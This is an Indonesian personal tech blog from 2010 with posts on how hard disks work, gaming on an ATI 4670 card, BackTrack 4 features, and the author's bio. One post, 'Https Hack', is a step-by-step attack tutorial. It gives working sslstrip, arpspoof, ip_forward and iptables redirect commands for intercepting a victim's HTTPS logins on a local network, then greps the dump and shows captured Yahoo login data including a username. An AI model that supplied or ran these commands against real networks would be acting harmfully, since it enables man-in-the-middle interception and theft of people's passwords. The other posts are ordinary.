Monday 22 November 2010

Yang Penasaran Sama Hardisk!

Siapa yang ga tau hard-disk? saya yakin sebagian besar orang tau apa itu hardisk dan fungsinya tentunya (khususnya yang sering pakai komputer), tapi tau ga sih bagaimana hardisk bekerja? bagi yang penasaran cekidot deh..

Saya sendiri penasaran, akhirnya saya search beberapa artikel yang berhubungan dengan cara kerja hardisk, dan coba share nih ke agan-agan semua.:D. Kita tahu fungsi dari hardisk itu untuk menyimpan data dalam bentuk digital, beberapa tahun lalu hardisk hanya berukuran ratusan Mb (Megabyte) bahkan ada yang hanya puluhan Mb, tapi sekarang sungguh perkembangan yang lumayan signifikan hingga ukuran sampai 2TB (1 TerraByte = 1000 GigaByte = 1000.000 MegaByte). wew!!
Biar lebih jelas dan terurut kita liat dari dasarnya dulu deh.. :)

Hard-disk Basics



hardisk digunakan di berbagai perangkat dari dekstop pc, server, laptop sampai camcorder. nih gambarnya.. :)
 pada tahun1950 (tahun ditemukannya hardisk) hardisk sering disebut juga sebagai "fixed-disk" atau "winchester" (code name hardisk pada waktu itu tepatnya dari IBM). kenapa kemudian diubah sebutannya menjadi hardisk karena untuk membedakannya dengan floppy-disk (yang juga populer pada waktu itu). pada dasarnya kedua media penyimpanan tersebut menggunakan prinsip yang sama antara hardisk dan floppy, hanya saja medium yang digunakan untuk menyimpan data magnetic-nya yang berbeda, pada hardisk menggunakan hard-platter sedangkan pada floppy menggunakan flexible-plastic. Metode penyimpanannya juga sama seperti layaknya magnetic storage lainnya. oya, salah satu keuntungan dari magnetic storage adalah mudah untuk ditulis dan dihapus, serta data yang disimpan (dalam bentuk magnetic flux) mampu bertahan hingga beberapa tahun.. :)



Cassette Tape vs. Hard Disk



Sebelum lanjut, nih ada beberapa perbedaan antara hard-disk dengan cassette-tape (biar ga kebalik-balik):

  • Bahan atau material magnetik yang digunakan pada cassette-tape (floppy-disk) dilapisi menggunakan plastik strip. pada hard-disk material magnetik-nya dilapisi menggunakan alumunium atau glass disk dengan tingkat presisi yang sangat tinggi. kemudian dilapisi dengan lapisan kaca secara halus.
  • Dengan pita kaset magnetik perlu fast-forward atau reverse buat pindah ke suatu point (titik dimana data akan dibaca / ditulis / dihapus) alias lama. dengan hard-disk kita bisa pindah ke point manapun secara instan. 
  • Pada pita kaset, head point yang untuk membaca dan menulis bersentuhan langsung dengan medium-nya, sedangkan pada hard-disk tidak, head-point nya melayang tepat diatas plat. never touch the head :D
  • Pita pada kaset bergerak over the head (diatas head) pada kecepatan 2 inch /detik sedangkan pada hardisk, platternya dapat berputar hingga 3000 inch per detik (sekitar 270kph atau 434.5 km/jam) wew!! 
  • informasi pada hard-disk disimpan pada domain yang sangat sangat sangat sangat kecil jika dibandingkan dengan pita kaset (floppy-disk). hal ini mungkin terjadi karena tingkat presisi yang sangat tinggi dan kecepatan medium yang digunakan. :)

    Capacity and Performance



    Secara umum sebuah mesin dekstop memiliki ukuran hard-disk antara 40 hingga 160 GB. Data yang ada disimpan dalam bentuk file-file. file itu sendiri merupakan kumpulan dari beberapa string byte (data digital). byte bisa berupa ASCII code untuk menyimpan string atau text file, atau instruksi data untuk mengeksekusi software atau applikasi, atau berupa data pada database, atau bisa berupa beberapa warna pixles untuk menyimpan data bitmap, JPEG, atau GIF. Apapun isinya si hardisk akan mengirimkan serangkain bit tersebut ubtuk diproses lebih lanjut.. :P

    Ada dua parameter (tiga sebenernya) untuk mengukur performa hard-disk:

    • Data Rate: merupakan tingkat data yang dapat di baca dan ditulis per satuan waktu. biasanya antara 10 sampai 50 Mb per detik. Hal ini juga dipengaruhi oleh jenis kabel (SATA, IDE) dan mode hardisknya (AHCI). Selain itu kecepatan putaran platter juga berpengaruh pada data rate (5400RPM/7200RPM/10000RPM). :)
    • Seek time: merupakan waktu yang dibutuhkan oleh CPU pada saat dia meminta request fila atau data pada hardisk, biasanya 10 - 20 ms.
    • Capacity : kapasitas yang mampu disimpan. (ya iyalah) :P



    Inside: Electronics Board



    ini merupakan tipe hardisk secara umum (inget JANGAN DIBUKA sendiri, karna pasti langsung rusak :D)

    dibungkus menggunakan aluminium box dengan elektronik kontrol yang menempel pada box tersebut. elektronik kontrol mengendalikan read / write pada hardisk dan mengatur kecepatan motor pada platter. elektronik kontrol juga mengatur magnetic field pada head, sehingga dia mampu merubah state dari menulis atau menghapus :)



     

    Inside: Beneath the Board



    Dibawah board terdapat koneksi ke motor yang berfungsi memutar platter, dan lubang ventilasi yang terfiltrasi sangat tinggi (secara platter yang ada didalam harus dalam keadaan steril) untuk menyeimbangkan tekanan udara didalam dan diluar.



    didalammnya terdapat interior yang simple tetapi sangatlah presisi.. wow.. :)


    Keterangan Gambar diatas:


    • The Platters : secara umum berputar antara 3600rpm hingga 7200rpm tapi saat ini sudah ada yang mengeluarkan hingga 10.000 rpm (dari WD). Platter ini dibuat dengan toleransi yang sangat luar binasa. kesalahan sedikit akan menghasilkan ketidakberesan pada hardisk. hmm.. o.O
    • The Arm: benda ini memegang read/write head pada ujung-nya. Arm ini mampu bergerak dari tepi dalam sampai tepi luar, sehingg mampu mencakup seluruh domain hard-disk. kecepatan geraknya pun luar binasa hingga sampai 50 kali per detik, dari tepi luar ke dalam. wew! :)

    Inside: The Platters and Heads


    Agar si Hard-disk mampu menampung banyak data (yang mampu disimpan maksudnya), sebagian besar hard-disk menggunakan multiple platter (Platter lebih dari satu). di hard-disk ini terdapat 3 platter dan 6 read/write head. :D



    mekanisme yang digunakan untuk menggerakkan Arm dan Platter haruslah sangat presisi, karena data yang disimpan di dalam medium magnetik pada platter juga pada domain yang extra mini. :). hal ini bisa dibangun dengan high speed linear motor (??). :D


    Storing The Data 


    Data disimpan pada permukaan platter dalam bentuk sector dan tracks. Tracks merupakan lingkaran yang konsentris dan Sector merupakan bagian dari track yang dibagi-bagi lagi sehingga membentuk pie. :)
    biar g bingung liat gambar aja :P

    Track secara umum dapat dilihat dalam garis berwarna kuning, sedangkan Sector berwarna biru. Sector berisi fixed number of bytes (maksudnya jumlah byte yang tetap) biasanya 256 atau 512. Di dalam level drive maupun sistem operasi, sector sering di kelompokan bersama yang disebut sebagai clusters.
    Proses format pada level rendah (low level formatting) membentuk (membangun) sectors dan tracks pada platter. start point dari awal sampai akhir ditulis di dalam platter dalam bentuk magnetic flux. Proses ini mempersiapkan hardisk untuk menyimpan bytes. Proses format pada level tinggi (high level formatting) menulis struktur file-storage, seperti file allocation table, dan sectors. Proses ini mempersiapkan hardisk untuk menyimpan data (file). 

    Huahh,, :D

    Don't forget to Comment :)

    Thursday 4 November 2010

    Last Game Experience on ATI 4670

    Experience The Game

    here we go..
    sekedar sharing buat temen2 semua, yah itung2 sambil latihan nulis n review.. langsung aja
    mungkin agak jadul ya,, hari gini masih pake 4670,, secara VGA ni merupakan seri lama yang fiturnya dah kalah jauh dengan VGA keluaran sekarang yang luar biasa (Mahalnya.. hehe :D),, tapi sharinng ini juga bisa jadi komparasi buat VGA2 lain yang sekelasnya.. :D

    oke,, sudah beberapa tahun ini ane make ati radeon 4670 produksi dari vendor Shapire. Ada beberapa yang pingin ane ceritain terkait dengan game yang akhir2 ini keluar. Mungkin bisa jadi pertimbangan buat temen2 yang mau main game dengan VGA ini..

    ni Spec Kompi ane

    AMD 5000
    Apogee 2 GB Dual Chanel
    ECS Black Series
    250 GB Seagate

    nah ni fitur and Pic dari Shapire ATI 4670

    lebih jelasnya pake Pic aja ya.. ni screen menggunakan GPU Z

    Sekilas emang stadar fitur2 yang digunakan, tapi ada keunggulan yang lumayan signifikan di seri ini.
    keunggulan tsb terletak pada jenis memorynya yi GDDR4,, apaan tuh?? hehe daripada bingung mending search google aja buat definisinya,, :D.. intinya sih jenis memory ini merupakan upgrade dari jenis memory yang lain.. kayak GDDR2 / GDDR3,,
    okeh lanjut... karena ini mo bercerita tentang experience di game n bukan di VGA maka kali ini akan di jelasin mngenai game yang mo dibahas.. :D
    akhir2 ni game yang keluar merupakan game2 kelas high end yang kalo mo main dengan mulus n high quality graphic harus pake kompi2 mahal.. khususnya di VGA..
    ni Listnya (yang ane mainin aja ya.. :D)

    Dragon Age Origin
    Darksiders
    Lost Planet 2
    Fallout 3 + New Vegas
    MOH Limited Edition
















    Darksiders on ATI 4670

    Kali ini ane review main di Darksiders dulu:

    pertama ni game buat ane kayak DMC,, kualitas graphic masih dibawah DMC,, tapi environment partikelnya banyak... jadi rada nge lag..
    kenapa ane review Darksider dulu,, coz,, ada masalah performa yang signifikan kalo make ATI 4670
    Masalahnya adalah Flickr dan Patah2.. Padahal kalo dibandingin dengan main dengan Game2 lain ga masalah
    anehnya lagi ketika diturunin graphicnya hingga paling low,, (800X600 resolusi) tetep g berhasil.. malah tambah patah2.. T.T ..Hal ini juga belaku di Scene maupun di Gameplay.. T.T

    nih SS dari Scenenya:

    ni  SS dari GamePlay-nya.. :D

    nah ini analisis ane masalah game Darksiders:
    1. drivernya kurang update.. (tapi terakhir update ane juli 2010)
    2. porting dari XBOX yang kurang sempurna
    3. Fitur Pixel Sharder yang g mendukung
    4. Orisinalitas Game

    so buat temen2 yang mo main game ini pake ATI (4670 khususnya) siap2 mengalami patah2.. hehe
    beberapa pilihan memang dapat dilakukan dengan mengupdate driver ati catalyst.. tapi selain itu performa dari hardware lain juga mungkin berpengaruh pada performa game..
    cukup sekian buat review gamenya,, ntar ditambahin lagi buat game yang lain...:D

    Wednesday 8 September 2010

    Fitur2 Baru Backtrack 4

    Tim pengembang 'Remote Exploit' dibalik proyek BackTrack mengumumkan tersedianya generasi baru BackTrack 4 Beta siap untuk diujicoba. BT4 memperkenalkan konsep berikut sejumlah fitur baru yang menarik. Media BT4 tidak lagi sekedar LiveCD untuk pengujian penetrasi belaka, lebih dari itu ia kini merupakan sebuah Sistem Operasi penuh.

    BT4 kini menggunakan Debian sebagai basis dan memanfaatkan repositori Ubuntu, ia dapat senantiasa di-update atau di-upgrade. Bila di-sinkronisasi dengan repositori yang disediakan BackTrack, ia akan selalu up-to-date.

    Dalam pengumuman resminya tim pengembang menulis antara lain: The Remote Exploit Development Team is happy to announce the release of BackTrack 4 Beta. We have taken huge conceptual leaps with BackTrack 4, and have some new and exciting features. The most significant of these changes is our expansion from the realm of a Pentesting LiveCD towards a full blown "Distribution,..".



    Fitur-fitur baru termasuk:

    * the Kernel was updated to version 2.6.28.1 bringing better hardware support;
    * BackTrack 4 Beta can now be booted over a network, using PXE supported cards;
    * SAINT EXPLOIT, a network vulnerability assessment tool, and MALTEGO 2.0.2, an Open Source intelligence and forensic app, are now included;
    * the latest mac80211 wireless injection patches were applied along with speed improvements for rtl8187;
    * Pico e12 and e16 cards are now 100% functional with native support, enabling BackTrack 4 to take advantage of everything these incredibly small devices have to offer;
    * Unicornscan, an information gathering and correlation engine is fully functional and features a web front end and postgress logging support;
    * RFID support;
    * Pyrit CUDA support and many more new and updated tools.

    Wednesday 11 August 2010

    Https Hack

    sslstrip – hacking https
    On July 8, 2009, in Tutorial, by laharisi

    kali ini saya coba menjelaskan tentang hacking https connection menggunakan sslstrip..

    langsung ke TKP…berikut adalah beberapa informasi mengenai jaringan :

    - ip attacker : 192.168.1.50
    - ip victim : 192.168.1.200
    - gateway : 192.168.1.5

    sekilas mengenai sslstrip :

    root@h4ck:~# sslstrip --help

    sslstrip 0.1 by Moxie Marlinspike
    Usage: sslstrip

    Options:
    -w , –write= Specify file to log to (optional).
    -p , –post Log only SSL POSTs. (default)
    -s , –ssl Log all SSL traffic to and from server.
    -a , –all Log all SSL and HTTP traffic to and from server.
    -l , –listen= Port to listen on (default 10000).
    -f , –favicon Substitute a lock favicon on secure requests.
    -k , –killsessions Kill sessions in progress.
    -h Print this help message

    note :
    -opsi -a digunakan untuk logging semua trafic ( http,https)
    -opsi -s digunakan untuk logging traficc ssl saja
    -opsi -l digunakan untuk listen port ( meredirect port 80 victim,defaultnya 10000 )
    -opsi : -w : tempat file dump akan disimpan.

    1.jalankan ssl strip :
    root@h4ck:~# sslstrip -a -w laharisi

    2.lakukan arpspoof terhadap victim
    root@h4ck:~# root@h4ck:~# arpspoof -i vmnet1 -t 192.168.1.200 192.168.1.5
    akftifkan fungsi ip_forward :
    root@h4ck:~# echo 1 > /proc/sys/net/ipv4/ip_forward

    3.redirect komunikasi http victim ( port 80 ) ke port yang di gunakan sslstrip ( 10000)
    root@h4ck:~# iptables -t nat -A PREROUTING -p tcp --dport 80 -j REDIRECT --to-port 10000

    4. ketika victim melakukan login misalnya mail.yahoo.com,maka kita bisa melihat username dan password loginnya..caranya buka file dump ( laharisi )
    root@h4ck:~# cat laharisi | grep -i "passwd="
    url+="?";if(valid_js()){var passwd=form.passwd.value;var challen
    function hash2(form){var passwd=form.passwd.value
    2009-06-30 19:22:34,004 SECURE POST Data (login.yahoo.com): .tries=1&.src=ym&.md5=&.hash=&.js=&.last=&promo=&.intl=us&.bypass=&.partner=&
    amp;.u=1esn43t54k0a5&.v=0&.challenge=EzdOJPTgncnTmCU_K.
    IjpAtfSawf&.yplus=&.emailCode=&pkg=&stepid=&.ev=&hasMsgr=0&.chkP=Y&.done=http%3A%2F%2Fmail.yahoo.com&.pd=ym_ver%3D0%26c%3D%26ivt%3D%26sg%3D&login=bl4ck.4ngle&passwd=disembunyikan&.save=Sign+In

    kita bisa melihat bahwa username = bl4ck.4ngle dan password = disembunyikan

    Tuesday 4 May 2010

    MY OWN


    Name: M. Zamrudi AH
    Code Name: Brisbane237
    Nick Name: Azzam
    Birth : 1988
    Location: Depok Town
    Specialization : Hardware, Networking, Programing,
    Hobby: Gaming
    Position: Student University of Indonesia
    Contact: 19009054227 (encrypted)

    Bio:

    nothing special, just ordinary student who wanna change the world.